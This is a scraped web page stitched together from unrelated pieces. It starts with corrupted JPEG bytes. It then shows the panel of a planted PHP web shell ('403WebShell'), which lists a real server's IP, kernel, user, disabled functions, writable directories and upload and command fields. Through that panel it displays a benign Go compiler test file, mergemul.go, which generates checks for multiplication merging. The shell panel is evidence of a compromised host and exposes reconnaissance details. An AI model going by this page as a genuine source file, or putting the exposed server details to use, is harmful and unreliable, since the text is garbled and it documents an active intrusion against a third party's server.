JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 2.57.91.181  /  Your IP : 216.73.216.254
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/golang/1.22.0/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/golang/1.22.0/test/mergemul.go
// runoutput

// Copyright 2017 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package main

import "fmt"

// Check that expressions like (c*n + d*(n+k)) get correctly merged by
// the compiler into (c+d)*n + d*k (with c+d and d*k computed at
// compile time).
//
// The merging is performed by a combination of the multiplication
// merge rules
//  (c*n + d*n) -> (c+d)*n
// and the distributive multiplication rules
//  c * (d+x)  ->  c*d + c*x

// Generate a MergeTest that looks like this:
//
//   a8, b8 = m1*n8 + m2*(n8+k), (m1+m2)*n8 + m2*k
//   if a8 != b8 {
// 	   // print error msg and panic
//   }
func makeMergeAddTest(m1, m2, k int, size string) string {

	model := "    a" + size + ", b" + size
	model += fmt.Sprintf(" = %%d*n%s + %%d*(n%s+%%d), (%%d+%%d)*n%s + (%%d*%%d)", size, size, size)

	test := fmt.Sprintf(model, m1, m2, k, m1, m2, m2, k)
	test += fmt.Sprintf(`
    if a%s != b%s {
        fmt.Printf("MergeAddTest(%d, %d, %d, %s) failed\n")
        fmt.Printf("%%d != %%d\n", a%s, b%s)
        panic("FAIL")
    }
`, size, size, m1, m2, k, size, size, size)
	return test + "\n"
}

// Check that expressions like (c*n - d*(n+k)) get correctly merged by
// the compiler into (c-d)*n - d*k (with c-d and d*k computed at
// compile time).
//
// The merging is performed by a combination of the multiplication
// merge rules
//  (c*n - d*n) -> (c-d)*n
// and the distributive multiplication rules
//  c * (d-x)  ->  c*d - c*x

// Generate a MergeTest that looks like this:
//
//   a8, b8 = m1*n8 - m2*(n8+k), (m1-m2)*n8 - m2*k
//   if a8 != b8 {
// 	   // print error msg and panic
//   }
func makeMergeSubTest(m1, m2, k int, size string) string {

	model := "    a" + size + ", b" + size
	model += fmt.Sprintf(" = %%d*n%s - %%d*(n%s+%%d), (%%d-%%d)*n%s - (%%d*%%d)", size, size, size)

	test := fmt.Sprintf(model, m1, m2, k, m1, m2, m2, k)
	test += fmt.Sprintf(`
    if a%s != b%s {
        fmt.Printf("MergeSubTest(%d, %d, %d, %s) failed\n")
        fmt.Printf("%%d != %%d\n", a%s, b%s)
        panic("FAIL")
    }
`, size, size, m1, m2, k, size, size, size)
	return test + "\n"
}

func makeAllSizes(m1, m2, k int) string {
	var tests string
	tests += makeMergeAddTest(m1, m2, k, "8")
	tests += makeMergeAddTest(m1, m2, k, "16")
	tests += makeMergeAddTest(m1, m2, k, "32")
	tests += makeMergeAddTest(m1, m2, k, "64")
	tests += makeMergeSubTest(m1, m2, k, "8")
	tests += makeMergeSubTest(m1, m2, k, "16")
	tests += makeMergeSubTest(m1, m2, k, "32")
	tests += makeMergeSubTest(m1, m2, k, "64")
	tests += "\n"
	return tests
}

func main() {
	fmt.Println(`package main

import "fmt"

var n8 int8 = 42
var n16 int16 = 42
var n32 int32 = 42
var n64 int64 = 42

func main() {
    var a8, b8 int8
    var a16, b16 int16
    var a32, b32 int32
    var a64, b64 int64
`)

	fmt.Println(makeAllSizes(03, 05, 0)) // 3*n + 5*n
	fmt.Println(makeAllSizes(17, 33, 0))
	fmt.Println(makeAllSizes(80, 45, 0))
	fmt.Println(makeAllSizes(32, 64, 0))

	fmt.Println(makeAllSizes(7, 11, +1)) // 7*n + 11*(n+1)
	fmt.Println(makeAllSizes(9, 13, +2))
	fmt.Println(makeAllSizes(11, 16, -1))
	fmt.Println(makeAllSizes(17, 9, -2))

	fmt.Println("}")
}

Youez - 2016 - github.com/yon3zu
LinuXploit